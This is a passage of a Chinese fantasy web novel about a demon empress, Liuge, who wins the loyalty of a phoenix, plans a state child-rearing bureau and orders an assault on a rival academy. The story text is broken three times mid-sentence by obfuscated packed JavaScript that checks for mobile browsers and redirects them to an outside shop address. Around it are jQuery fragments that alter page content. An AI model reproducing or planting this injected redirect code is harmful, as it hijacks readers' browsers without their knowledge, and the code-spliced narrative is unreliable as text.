弥随音有些迟钝的眨眨眼,对于她拿亦清和自己作比总感觉有那里不妥,但琉歌很快便扯开了话题—— “而且,师尊啊……这里是妖界。” 银发妖皇笑笑,“我们的初代妖皇就是雌性,雌性从政,从商,从事自己想做的一切都没有妖族会指责——对于妖族来说,幼崽是希望,而能孕育幼崽的雌性就是妖族的根基。人族那一套在妖界并不适用。” “对于妖族而言,只有雌性有资格开宗立派,另开族谱绵延血脉。” 琉歌又露出那种胜券在握的微笑来,仿若一切都在她的掌心,仿若她的脑子里有一条清晰明确的道路,要怎么做,要将妖族带向哪里,她全都无比清楚。 这种清晰也是她前世今生最吸引弥随音的地方。 “问情将抚育幼崽的责任简单归于家庭,这在我看来,太粗糙了——”琉歌开口,没有迟疑和犹豫,像是已经在心底模拟演算了千百遍一样笃定。 “现在还有很多雌性尚未从人族的磋磨和创伤中走出来,或者想走出来,却被幼崽——非自己所愿而诞生的幼崽,拖住了前进的脚步。等我登临神位,我要推行一套与问情全然不同的道路。” “我觉得人族那一套一夫一妻抚育幼崽的模式并不适用于妖族,或者说,不适用于全部的妖族。”琉歌来了兴致,一骨碌坐直了身子,目光灼灼的盯着弥随音,兴致盎然。 “抚育司,”她说,“我要建立抚育司制度,由神庭直接负责,妖皇直接管理,将天地孕育的灵化幼崽全部一同教导,而不是现在这样放养在山野间。” “我会从小就告诉他们何为妖皇,何为妖界,何为妖族百姓。我来告诉他们自己是谁,我来告诉他们该忠于谁,谁又是妖族的敌人。” 弥随音本在慢吞吞整理衣袖,此时却是不知不觉间听呆了,顺着琉歌的话往下思索。 “灵化幼崽出身的妖族接近七成,若抚育司制度运行得当,妖族将再不缺后备力量,那些灵化幼崽也再不会因为没有父母血亲的引导而像风从吾那样游离在妖界之外,本来有大好天赋,却白白浪费了幼崽期的大把时光。” “没错——” 琉歌眼底的野心几乎要把弥随音点燃了,“人族那一套考核制度倒有些可取之处,对在抚育司长大的幼崽来说,我就是他们的母神,成绩优异可以在成年后直接进入神庭或者政庭,成绩平庸的也不会融入不了社会,漫漫两百年,学个混口饭吃的技能总是可以的。” “——幼崽不只是雌性的责任,不只是一个妖族家庭的责任,幼崽是整个妖界的希望,那自然整个妖界都该为希望的成长出力。” 银发妖皇眉目舒展,意气飞扬,她总是很擅长这些事,她是当之无愧的优秀改良派,就连黎狩——同为接手了一摊烂账的第二代魔尊也感叹过,琉歌总能以最微小的改良撬动最大的变化,同时不会招致大量的反抗和抵触。 就像前世,弥随音记得她登临神位后不久就降下了数道改革赤琉璃近卫军的命令,将原本因问情身陨军心浮动的赤琉璃近卫军牢牢握在了掌心。 后来这支近卫军跟着琉歌杀穿魔族大军,直到仙魔联手围攻之下,才对近卫军造成了不可愈合的重创。 意识回神,弥随音忽然觉得心脏剧烈跳动起来,琉歌的声音骤然变得迫近而兴奋,声如擂鼓,鼓在他心头。 “幼崽是延续的枝叶但母亲是根基,枝叶绵延固然重要,却不能只注重枝干绵延而忽视了树根。若幼崽变成了母亲的绊脚石,拖油瓶,就该由妖皇和整个妖界分担母亲的压力。” “对于普通妖族来说,寻找分散在妖界各处的灵化幼崽很难,但对于掌控天下妖族的妖皇来说,只是一道神谕的事。” 琉歌掰着指头和弥随音盘算,“先是灵化幼崽,等第一批灵化幼崽教出成绩了,再呼吁血裔幼崽也加入抚育司,统一学习教导……等我结束一切,等妖界彻底平静下来,抚育司起码能教出一批幼崽,我有预感,这批幼崽会是有史以来最强的一批幼崽,能自保,能养活自己,他们会构成妖界全新的根基!” 凤凰的眼睛逐渐亮了起来,他下意识盘算建立抚育司可能遇到的阻力:“灵化幼崽天地孕育,背后少有关联牵扯的势力,而且抚育司并不强制,盘踞在青丘的世家大族也不会起什么反对的心思——他们只会想尽办法拉拢抚育司出来的新秀。” “共同御敌,共同抚育,尊重团结本就是问情为妖族定下的基调,抚育司顺应此势就是顺应民心——食君之禄忠君之事,等抚育司制度完善,身为妖皇的您将再不惧神庭掣肘,因为七成妖族已经被您牢牢握在掌心!” “我们还可以——”弥随音话一出口,忽然愣愣的望着琉歌怔住了。 弥随心死后,弥随音花了很久很久去寻找自己是谁。 他越探索越觉得了无生趣,世间万物都在变,不停的变化,他活得越久见过的变化越多,就连书里那些刀刻斧凿,字字刻骨的道理都在变,他时常想,要不干脆自刎涅槃,随弥随心而去吧? 但弥随心死前遗言是让他活着。 他走投无路,不敢违背。 因为这是他漫长到无望的人生中唯一可以抓住的一点确定了。 对于独活于世的凤来说,活着已经变成了一种禁锢,诅咒,有时凤凰瘫在散落一地的书卷上昏睡又醒来,意识混沌之间会痛恨自己这一身凤凰血脉—— 凤凰镇魔辟邪,因此不生心魔。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17310252|198802||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 若是他能生心魔,是不是就可以再次看到弥随心了,若他能生心魔,是不是就不用像现在这样,在梦里也难见姐姐一面? 刺目的朝阳缓缓攀升,直直照进洞穴,照亮火堆的余烬,照亮了弥随音怔然的一张脸。 太刺眼了,弥随音想,刺得他好想流泪。 “——请允许我辅佐您。”凤凰仙君缓缓吐出一口气,闭眼,又睁开,直到此时,他才恍然觉得自己醒来了,挣开了一个虚无又混沌的,泥沼一般的梦,醒来了。 弥随音恍然惊觉,在遇到琉歌后,他再也没有梦到过弥随心。 直到此时,他终于确定,自己已经找到了新的确定——和凤与凰出生起就亲密无间的联系不同,这次是他自己,经过漫漫又漫漫的时间,亲手找到的确定。 若自己没有方向的话,弥随音想,我还可以实现琉歌的方向。 这就是我的确定,我找到了一枚野心勃勃的太阳,我要她亘古不变的高悬,我要她的能量照耀所有人! 弥随音目光陡然灼烫起来,等到那时,若有人注视着太阳的光辉,也会想到我存在于世的意义。 “你是我的师尊,等我清理干净神庭那一批老顽固后,你就是妖皇帝师。”在弥随音空前热切的目光里,琉歌噗嗤一声笑得前仰后合。 “您以为我会让您走掉么?从您成为我的师尊的那一刻……不,从圣坛上,您接住我的那一刻,您就已经是独属于妖界的瑰宝了。” “其实您在仙界过得并不算好,我猜的对不对?”银发妖皇懒洋洋的后仰,闭着眼睛享受刺破夜幕的晨曦照耀到她的脸上,姿态是少见的放松,说出的话却令凤凰陡然一愣—— “您身为天地孕育的神兽,想当人可以,想当仙可以,想当妖甚至想入魔都可以,但您却会因为一身兽血自卑?这简直匪夷所思。” 琉歌逆着晨曦回首望他,一双墨紫色的眼瞳里凝着弥随音熟悉的犀利穿透力,但此时暖黄色的晨曦模糊了她的五官,也为那不变的犀利蒙上了一层弥随音从未在琉歌眼里看到过的怜惜。 “富可敌国,家财万贯的大商人,会因为腰间少配了一枚玉佩就不敢见人吗?会因为少带了一枚戒指就怀疑自己的财富吗?” 妖皇其实没有很丰富的情感表达,她多数时候都冷着脸,确定目标,然后尽最快速度执行……起码弥随音的认识里是这样。 但此时,眼含怜惜的银发妖皇却只是注视着弥随音,“是谁否认了您拥有的一切,折辱一般强行将您划分入兽族,要您去和山林野兽为伍?是谁给你灌输了兽族就低人一等,生来卑微低劣的思想?只有仙族。” “师尊啊,剥离开仙族的视角,你真的看过仙界以外的世界吗?” 弥随音心神俱震! “您能效忠于我,我很高兴。” 琉歌本是和弥随音有些距离的并排坐着,此时却笑盈盈的探身向他倾斜—— 她本就没有弥随音高,又是斜支着身子,眼眸一抬,目光自上而下的扫过他骤然紧绷的下颌,唇畔,落在他色泽浅淡,骨相艳丽的眉眼间。 琉歌藏纳了坤元堪舆镜的右手手背,繁复而华丽的妖皇神纹出现于其上,银发妖皇含着一点怜惜的眼凝在他的眼间,随即微笑着冲他伸出了手。 在琉歌的注视下,凤凰珍而重之的捧起她的右手,缓缓低下了那颗从未效忠过任何神族的骄傲的头颅,将灼烫的,轻而又轻的一吻落于她的神纹上—— “吾皇。” 40. 内战还是外敌? 魔气污浊,魔气聚集之处易生瘴气,瘴气浓度一高,天地都失其颜色,灰雾连绵。 被迫盛纳着魔气的第五洲受此影响,总是阴云密布,灰扑扑一片,天空总是压抑而不详的青灰色,少见阳光。 今日倒是难得的好天气,整个豆绿高原上,灿金的阳光和洁白的雪不分彼此的交融着。 琉歌挥手熄灭了余烬尚存的火堆,走出洞穴外,迎着天光用力伸了个懒腰,散漫的靠着洞穴外裸露的岩壁晒太阳。 守夜的藏权云见琉歌出来了,悬着的一颗心彻底放回肚子里,微笑着冲妖皇一行礼,退下了。 前世今生加起来两辈子,算来算去,想来想去,她终于还是得到了凤凰全心全意的效忠。 银发妖皇志得意满,心情大好,连迫在眉睫的种种纷扰都没能影响她晒太阳的心情,甚至惬意的哼起了一些不知名的小调。 “这是哪里的曲调?”凤凰紧跟着她也出来了,学着她半合着眼靠在岩壁上晒太阳,颜色浓烈艳丽的耳后翼放了出来,随意抖了几下,将羽毛抖的蓬松,尽可能让阳光均匀的涂抹到每一片羽毛上。 “我也忘记了,可能是在青丘帝宫时学会的吧?”琉歌不以为意,没再细说,转而冲危天梭扬了扬下巴,示意她过来。 凤凰却默默在心底记住了那个曲调,因为他曾经听过——在前世。 刚刚那个旋律是前世琉歌很喜欢的一首民谣的片段。 上一世分别前夕,琉歌曾很可惜的跟他说,这首曲子好听,可惜自己那时太忙了,只学了个片段,完整的曲调和唱法已经随着故人的离去,再没有机会听到了。 凤凰擅音律,谱曲于他而言并非难事。 弥随音望着琉歌的背影,默默将这件事记到心里,自己重来一世,无论大小,能弥补些微前世的遗憾总是好的。 哪怕只是一段琉歌现在并不放在心上的旋律。 弥随音将分门别类装满了愈灵丹和清神丹的玉匣递给危天梭,“愈灵丹一次两颗,将凝血丹化在温水里配合愈灵丹一起服用,危龛身上就不会再出现留着蓝色脓血的伤口,然后这是清神丹,拔除魔气的……” 危天梭点头如捣蒜,神情认真的依言记下。 突然,第五洲上相隔甚远的两地忽然响起了相似的急促脚步声! “尊上/大人,不好了!” 第五洲洲府晚枫附近,郁柏等人暂时落脚的村落里,一赤狐族的小辈忽然急匆匆的闯进了惊轶歇息的院落,冒失至极的抬手就开始哐哐敲门—— “放肆!” 惊轶陡然惊醒,面色阴沉的开门呵斥道:“惊止,你发什么疯!” 被称为惊止的赤狐族小辈咚的往地上一跪,来不及告罪,哭丧着一张脸立刻汇报到:“大人,神庭那边出事了!” 惊轶刚把外衣披在肩上,闻言穿衣的动作硬生生僵在半空,半响才扭过头,压低声音再次确定道:“神庭出事了?你是说龙尊那边?立刻,从头到尾给我详细说清楚!” “是——”惊止喘了口气,“昨晚躬行司我们的人和学宫那边春在野大人的人一起前往第四洲取来了丹方,龙尊大人看过后觉得这份丹方还是粗糙,于是下令让学宫和躬行司下属炼药师公会携手合力继续研究。” 身为妖皇神使,配合亦清处理妖族内务的惊轶也不是草包,惊止短短几句话就已经让他听出了不对—— “等等,几个跑腿的妖族能在一夜之间横跨妖族南北,在第九洲和第四洲之间进行一整个完整的往返?” 他骤然觉察出蹊跷,在心底骂了一句妖族脏话:“我就知道,学宫有藏私!” “罢了,现在不是计较这个的时候……”他狠狠的一咬牙,自从神女圣坛上叛出神庭之后,他不可预料,不可掌控的事情就越来越多了,惊轶厌恶极了这种感受。 “然后呢,你继续说。” 惊止不敢耽搁,将神庭那边穿来的消息和盘托出。 “龙尊大人自从见过学宫的卷云长老后,咳嗽不止胸闷气短的老毛病忽然又发作了,因为自从仙界回来后龙尊就一直身体微恙,所以神庭那边没有很重视,只是照例请了冷千春姑娘来喂药,我们的人也就没怎么当回事,汇报时也没有细讲——” “谁知今早龙尊的状况突然变得极差,连起身都困难,目前需要时刻呆在冷千春打造的‘气闭室’内,不能外出,冷千春姑娘帮着处理了一些简单的事务,重要的东西她没敢看,我们的人接手了一部分,还有一部分只好给您送了过来。” 惊轶闻言只是冷笑,“若不是冷千春是无可厚非的龙尊血脉,我还以为她这是囚禁了自己的曾祖父要宫变呢。” “荒谬,太荒谬了!”赤狐猛地把手里写满了细密小字的汇报卷轴砸到了惊止身侧! 硬生生在地上砸出一个凹坑来。 “大人,郁柏尊上还不知晓龙尊出事的事情,我们是否要告知郁柏尊上再做打算?”惊止犹疑不定,只能请惊轶定夺。 赤狐长老踉跄后退两步,扶额用力揉了揉眉心,揉不开刀刻的一样深刻的眉心皱纹。 “郁柏尊上对神庭有一股怨气,他并不会配合我们的,而且这个人根本没有自己的主见……”惊轶心累极了,目光忽然投向惊止,迎着他单纯的目光,心里颤动片刻,还是下定了决心似的闭了闭眼。 “你知道让龙尊暂掌青丘的命令,是谁下的吗?” 惊止有些茫然,“郁柏尊上啊?郁柏尊上将龙尊从龙岛召回青丘,命令他稳住青丘,等我们处理完魔气回去。” “那龙尊是因何契机出现在青丘的呢?” “龙族治水有功,帮第四洲解除了水患……啊,他是神女大人的人?”惊止脑子也是灵光的,顿时反应过来了,心里顿时大惊! “可是……可是第四洲有赤狐族延伸出去的家族,我们才知晓神女在第四洲,郁柏尊上又怎么会知晓龙尊和神女有关系?” “你都知晓的事情,神族怎么可能不知晓?”惊轶忍不住嗤笑出声,“若有一日你能到妖皇身边效忠,你就会知道神明是多么的可怕……” “无所不知,无所不晓,无所不能。” 惊轶冷着脸,无意识间捏紧了自己的手骨,“这是人族形容人皇的,用来形容妖皇也不会有任何问题,现在神子和神女都不是完整的神族,尚能容我们从中运作一二……但终有一日,其中一人会成为完整的,强悍的妖皇。” 惊轶将手指骨节捏的劈啪作响,暴躁的在房间里转了两圈,仍散不去沉沉压在心头的一股怨气,“惊止,你说谁会对神女和神子双双认可的龙尊出手?” 惊止陡然瞪大了眼,忽然细密的开始发起抖来,声音细微,刚出口就要散在风里似的颤抖:“您的意思是……魔族又开始出手了!?” “但魔族都在屏障外啊,大人!”惊止难以置信,下意识否定自己的猜测,“他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17310253|198802||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们进不来的,对,屏障尚且完好,那些怪物进不来的……” “惊止!” 惊轶冷冷的垂眸呵斥方寸大乱的惊止,左脸上的一道长疤为他增添了不少凶戾之气。 “覆巢之下无完卵,喻未央想带领鲛人族寻得一片避世桃源,春在野想延续问情先皇的意志和道路,而我要权势和地位永伴赤狐左右——” 他声音和缓,轻音极轻,重音极重,倒有几分翼族说话的风格,此时不像在吐露自己的野心,倒像是宣读大战前鼓舞军心的讨贼檄文一样,一片金戈铁马,刀兵相接的酷烈决心。 “我们各有所求,但求来求去,有个永远不能更改的大前提——妖界不能出事。” “妖界是我们一口口从人族身上撕下的,一寸寸土地浸透了妖族的血……”他咬牙,终于拍板道:“绝不能让魔族趁乱再重创妖族一次——谁也不能当这个罪人——我们得去找神女大人!” 与此同时,颂颂踏着白雪和朝曦匆匆向琉歌奔来,来不及把气喘匀,一把攥住了琉歌的衣袖,带着哭腔道:“尊上,我联系不上我父亲了!” “兽化特征褪下去了不少嘛,看来最近修炼的很刻苦啊?”琉歌却只是笑眯眯的点了点颂颂的侧脸,之间原来毛茸茸的三瓣嘴已经彻底完成了化形,变成了一张圆圆的少女的脸。 “已经突破到金丹了?很好,”银发妖皇的态度是安抚也是提醒,见颂颂稍微冷静下来了,这才允许她继续说了下去,“白水边出什么事情了?” “因为我有参与第四洲炼药的事务,所以父亲和我一直在素梅上有交流,”颂颂强行压下哭腔,“但昨晚开始,我就联系不上父亲了,他本来跟我约好了,等拿到丹方后一起讨论一下的……” “学宫这是终于对炼药师公会出手了啊。” 琉歌舌尖一卷,舔了舔狐族尖利的犬齿,忽然露出了一个压抑良久,终于可以痛快打一场的舒心笑容来,“春在野,你真是给了我一份大礼呢。” 太阳慢悠悠的爬到房顶—— “你确定吗?琉歌尊上的命令是打进青丘,血洗学宫!?”第四洲,风弄堂和风尘仆仆赶回来的危天梭对视一眼,满脸都是惊诧和不可置信,再三确认,“什么叫学宫对躬行司出手了?什么叫春在野包藏祸心,有叛神弑神的心思?!” “对,学宫欲私藏从第四洲得到的丹方,还要对三司主事之一的白水边不利,我们只是发现了白水边紧急传出来的求救信号,奉琉歌尊上之命闯进去救人而已。” “我们跟白水边又有什么交情?!” 风弄堂抓狂,“我几个时辰前才刚刚认识他——不对,不算是认识,就是打了个照面而已啊!” “颂颂。” 危天梭冷冷的笑了,“颂颂是琉歌尊上身边近臣,而白水边是颂颂养父,女儿收到了父亲的求救信号,于是求到了妖皇面前——合情合理。” “这是你想的,还是……”风弄堂心里拔凉,外面阳光正盛,屋内,虎族领主忽然打了个寒颤。 危天梭从储物袋中摸出一枚青竹发簪递到风弄堂面前,声音恭敬,“我只是琉歌尊上的传声筒,不敢有一丝扭曲琉歌尊上旨意的意思。” “虎族……虎族不能参与,虎族不想……”风弄堂还想再挣扎一下。 “谁问你的意思了?” 危天梭面无表情的指了指青竹发簪,“你以为琉歌尊上给你我选择的余地了吗?” 41. 明晰洞察 是了,他们怎么可能左右神族的意志呢?风弄堂在心里凉凉的想。 神族本质上是一个被天道挑中的灵魂。 这个灵魂要能承受瞬间灌注入识海的万民祈愿,要在山呼海啸般撕扯着祂的祈愿里保持清醒,清晰而深刻的坚定自己是谁。 一但迷失在那些信仰和期盼里,这个灵魂就会瞬间被祈愿撕得粉碎,溺毙入无边冥河。 对于神族的诞生,人界甚至发展出了个名叫“碾磨”的流派,这个流派信奉天道筛选说。 他们将神族的诞生描述成天道往一张巨大的磨盘里不断的投入灵魂,磨盘碾转间不合格的灵魂统统粉碎,到最后还能保持灵魂不散的,就是天道所需的,有资格成为神族的灵魂。 这个学派因此无比狂热的追捧精神力修炼,认为只要在有意识的情况下提前淬炼意志,磨炼自己的灵魂,等到了被天道筛选时,未尝没有机会惊艳天道一把。 虽然此理论的真实性和可靠性尚未得到任何证实,但是“碾磨”派却凭着一手独特的精神力修炼法,在门派林立的人界修仙界站稳了脚跟,成了根基深厚的五大派之一。 ——水能载舟,亦能覆舟。 祈愿是神族力量的来源,托举着支持着神族长盛不衰,百战不败,但当神族式微时,祈愿也会变成刺向神族最锋利的一柄匕首。 最典型的反面教材就是执政末期的魔尊刑微雨。 初代魔尊执政后期,随着仙族的崛起和魔族内部的动荡离心,越来越怀疑自己的道路与诞生的意义,不断变更路线,不断推翻自己,朝令夕改,日渐走向了一条和最初的自己南辕北辙的路。 最终,魔族暴乱,她失去民心,失去力量,被黎狩趁机吞噬。 风弄堂拉回了飘远的思绪,讪笑一声,“其实还挺好笑的不是吗?凤凰仙君当时配合琉歌尊上隐瞒身份,说自己是血海铜雀族的遗孤。” 虎族族长苦中作乐的吐槽道:“但你我都知晓,血海铜雀族是第一个触怒了问情尊上,被夷三族的妖族。” “没那么严酷。”危天梭和他从人界战场上就是搭档,两族若不是关系亲近,也不会一起将领地选在了第四洲比邻而居了。 “只是成年期族人全部填入血海,但尚未成年的幼崽问情尊上一个都没有动。” 她熟悉风弄堂的说话风格,知晓这人私下里算得上随和,但面对公事却严苛的堪称一丝不苟,当他这样跟你在公事上闲扯时,基本已经可以让危天梭明晰他的态度了。 危天梭一回来,危秋自然而然的从代理领主的位置上退下,此时只是静静站在危天梭之后,闻言和她交换了一个眼神,随即了悟,动作温柔的抱起危龛离开了医馆,将谈话的空间留给了两位领主。 “我以为这件事上你们翼族会对问情尊上稍有怨言呢……”风弄堂注视着危秋远去,这才微笑着继续胡言乱语,“如果你们认为记忆,血脉,师脉三脉断绝也算没有动幼崽,也是一种仁慈的话,当我刚才什么也没说。” 危天梭面色沉了下来,“这件事跟你们陆族没有关系,翼族对问情尊上的判决并无不满,你想知道血海铜雀的内幕,我也可以一五一十的跟你说——但现在,风弄堂,你要罔顾神令,跟我继续废话吗?” “不敢。”风弄堂语气谦卑,脚步却生根般定在原地,动也不动。 “我可以配合琉歌尊上的一切计划,无论是去救什么白水边,还是血洗学宫这样荒谬的命令,毕竟妖皇让你三更死,阎王也不敢留我等到五更……” 他坦然一笑,自暴自弃似的一耸肩,随即再也保持不住脸上的笑容,嘴角和眼皮一起沉沉塌了下来。 “可虎族不行……危天梭,虎族不行。吾乃虎族族长,不可能在这种情况下,拿虎族族人的性命去给一个前途未知的半神铺路。” 在风弄堂难以感知的虚空中,独属于琉歌的妖皇神纹静静铭刻于青竹玉簪之上,繁复契合的嵌合纹路正在阵法框架内缓缓运转着…… 千万里外,第五洲豆绿峰上,琉歌半合着眼,马上就要出发去晚枫阵眼处了,此时她正一边远程监视着危天梭的工作进度,一边听着第四洲的争执护理自己的长发—— 风弄堂特意加重的“半神”两字传入她的耳中,极其刺耳。 银发妖皇动作一顿,意味深长的笑出了声。 前世受限于种种因素,琉歌至死都不知到信仰之力的存在,今生虽然通过远离神庭,避免了走上上一世的老路,但她依然不打算大肆聚拢,使用信仰之力。 民心如烟,她手握因果权柄,对于这种难以建立稳定连接,随时有可能反刺自己一刀的力量难生好感,天然的对其保有一种敬而远之的警惕。 妖皇有一头流畅顺滑的银白色长发,未束发时银发倾泻,像山间最澄澈的溪流,淙淙潺潺顺着妖皇的脊骨而下。 只是她现在力量尚不足,长发也没有前世垂及脚踝的那样夸张,站直了身子时,银发堪堪越过手肘而已。 对妖族和兽族来说,一身健康的皮毛就是对手判断你是否强悍的初印象,也是最容易的展示自己的方式。 妖族为了修炼选择化为人形,自然不能再如兽族一样随时随地展示皮毛,一头长发于是就成了展示自己的最优选。 通常来讲实力越强悍的妖族头发越长,头发的状态也是肉眼可见的更好。 “琉歌?”弥随音闻言侧头看向她,见她面色不虞,便凑近了轻声发问,“怎么了?” 豆绿高原多狂风,忽然北风起,卷起一地粉状碎雪向琉歌刮来,凤凰顺势又靠近了琉歌一点,抬手撑起斗篷,将风雪挡在他背后。 “没事,整理烦了。”琉歌叹息一声将头发一拢塞进了弥随音手里,“好累,师尊帮我。” 弥随音于是发出一点轻轻的笑音,不再多问,动作熟稔而细致的继续琉歌未做完的护理。 “师尊怎么这么熟练?师尊不会经常给别人护理头发吧?”她明知风弄堂不会很配合,心里却还是不痛快,于是开始给弥随音找不痛快,明明他做得挺好,却仍让琉歌挑出刺来。 弥随音瞥了她一眼,只是摇头笑笑,“我虽然离群索居,毕竟还是雄性,就算再惫懒,求偶期前后还是要捯饬自己一下的……” “妖族雄性的求偶期多半智商大砍理智不存,雌性非择偶期都躲着他们走,师尊也会这样吗?”琉歌微微仰头,有一搭没一搭的问。 “两颗清心丹下去就什么都治好了。”弥随音顶着一张极艳的浓颜说这样清心寡欲的话实在太有反差,琉歌噗嗤一声笑了,思绪流转间,心下已经有了对策。 这样看来,有个人倒是能发挥一些作用……银发妖皇缓缓抬眸远眺,看向远处的晚枫丘陵。 “回来吧,危天梭。”她合上眼在识海里冲危天梭传音道:“我说过了,虎族若不配合,不必强求。” 问情麾下出来的这一代领主,全部是能在人妖混战中各凭本事厮杀出来的狠角色。 比起春在野那种将问情奉为太阳奉为救世主一样狂热的信仰,大多数领主更愿意将自己定位为问情尊上的战友。 这些人是不会轻易就听琉歌或者郁柏的话的。 郁柏能被武不为当堂要求验明正身,琉歌也早有会被领主质疑或者刁难的准备。 只是没想到,第一个公然不配合她的,会是向来聪明乖顺的风弄堂。 看来一但涉及血脉绵延和子嗣传承,就连妖皇的重要性也要向后排…… 琉歌静静的思索着,忽然发现刚刚自己没有听到危天梭的回答 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17310254|198802||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “危领主,”妖皇于是又唤了一声,“怎么?” “……君上,我了解风弄堂,请让我一试,我能让风领主配合您的计划,执行您的命令。” 琉歌一怔,蓦然展颜一笑,也不管危天梭能不能看见,略微点头应允道:“准了。” 第四洲医馆内,一派风和日丽的好光景,比琉歌离开第四洲的那一天阳光更盛。 “昨晚,我和藏权云聊了很久。”危天梭垂眸片刻,再抬眼时,开了个风弄堂意料之外的头。 “当年需要我们保护的小辈……那时她才这么高呢。”隼族领主露出一点温和缅怀的笑意,手掌在自己的腰间比划了个高度。 危天梭怜惜的目光越过窗棂,落在无一人的庭院里,母性的温柔和战士的凌厉矛盾又和谐的融合于她一身。 “谁能想到,她现在也已经成为可以点醒我的合格领主啦。” “……”风弄堂沉默良久,最终还是接话道:“藏花骨泉下有知,要是看到现在的藏权云,也会感到欣慰的吧。” “她对你说了什么?” 危天梭手腕一转,将青竹玉簪收回了自己储物袋内,“自盘古开天辟地起,妖族就在人族的夹缝里苟且求生,我们素来只有家,没有国的概念。” 第四洲的三位领主各有各的擅长方向。 早已故去的藏花骨擅长搭建领地笼络人心,曾经是三人组里当之无愧的核心。 风弄堂政治天赋极高,他对自己的定位从不只是第四洲领主,若不是问情猝然出事,他早该尽快培养出一个合格的继承人,然后跑到青丘去给自己挣一个更光辉的前程了。 就如白水边曾言,风弄堂在功绩上是可以跟惊轶掰手腕的存在。 而危天梭,就像她的血脉一样,她有一双能提前洞悉一切的眼睛。 “对妖族来说,故土和出生地什么的毫无意义,人族一来,我们就走,躲到更荒僻的角落,更人迹罕至的密林里去——” “相比土地,我们更看重情谊不断的故人和血脉连绵的家人族人,在人界时,妖族向来很难从人族手里夺得可以扎根生存的土地,于是我们从不向土地倾注我们的感情。” “但现在已经不同了,”危天梭笑笑,琥珀般的眼瞳澄澈明亮,“妖族已经拥有了妖界。” “藏权云比我更适应这个时代,风弄堂,承认吧,你我都还是活在旧时代的老人……我们只是延续着过往的传统,从未想过这些想法是否匹配这个崭新的时代。” “我们必须抛弃轻视土地的思想,抛弃打不过还能躲起来的思想,抛弃只团结族人家人而疏远其他同族的思想——我们得为了守护这块土地而奋战,因为这是妖族的土地,是你我的土地。” 隼族族长直视着风弄堂,话语比眼神更凌厉,她继续毫不留情的剖析着由自己和风弄堂所代表的一代人:“妖族并非不知晓团结和联合的力量,但这个团结在我们心里却是狭义的,说到团结,我们只能想到族人。” “我昨晚才明白,为何问情尊上当时确定妖初律的基调时,团结甚至在尊重之前了——妖族已经不是我们那一代夹缝求生的模样了,我们有妖界了,我们的妖界。” “藏权云是个心性极佳的通透孩子,”危天梭露出了一个苦涩而饱含缅怀之意的笑容,“风弄堂,覆巢之下无完卵,若是有朝一日妖界失守,你觉得我们还能去哪里呢?” “……” 风弄堂沉默良久,他恍若失语般注视着隼族族长,“若这是你所洞彻的未来……危天梭,百年前我选择相信你,现在也一如往昔,不曾更改。” “我会带领虎族所有金丹及以上的族人支持琉歌尊上的行动——也希望琉歌尊上真如你所洞彻的那样,是妖族的……未来。” 42. 魔渊裂隙 “今日怎么来的这么早?”第五洲,洲府晚枫附近的暂时落脚处,轩辕郁柏横剑在膝,听到门口的动静,缓缓睁开了眼睛,例行公事般问道:“青丘那边出什么事情了吗?” 惊轶背对着郁柏,正动作轻缓的合上木门,闻言忽然动作顿了半拍,品出了一点身份错位的荒谬感——掌控妖界,知晓一切的神族,居然需要借他的口,才能得知青丘的情况? 下一刻,他一垂眸掩住了所有情绪,恭顺的一行礼,流利的开始汇报这几天的工作:“躬行司白水边和春在野一起提出的疫病假设已经被证实,确实有一种传播途径不详的疫病在第五洲及其周围流窜。” “龙尊已经向率先爆发了疫病的第四洲派去了支援,第四洲也将琢磨出来的丹方上交给了神庭,目前龙尊已经看过了丹方。” “第四洲将此疫病命名为——泣寒瘴。龙尊大人看过后判断丹方尚且粗糙,已经交给学宫和炼药师公会继续完善了,很快即可推广开来。” 郁柏抬手颠了颠长剑,颇为满意的点点头,支剑于地撑着剑起身,看也没看惊轶,自顾自的挽了个剑花,语气疏离而漠然,“继续。” 惊轶无奈的闭了闭眼,每次都是这样,郁柏对大部分事务都没有兴趣,只一门心思追求更强大的力量,还有对灵气更精妙的掌控……他和五界所有神族都没有一点相似性可言,除了武学,郁柏不在其余任何事情上投入精力。 有时惊轶甚至会觉得,要不是武不为在帝宫带头发难,要求郁柏严明正身狠狠得罪了尊上,她这样的武疯子肯定和郁柏很合得来。 说不定她还会被选为新一任的妖皇神使…… 余光里忽然雪亮的剑光一闪! 惊轶骤然回神,被自己刚刚的走神惊出了一身冷汗,他不敢含糊,连忙躬身讨饶道:“尊上恕罪,臣刚刚心有顾虑,一时失神。” 郁柏收剑入鞘坐回桌前,只是淡淡挥挥手,“继续。” “是。” 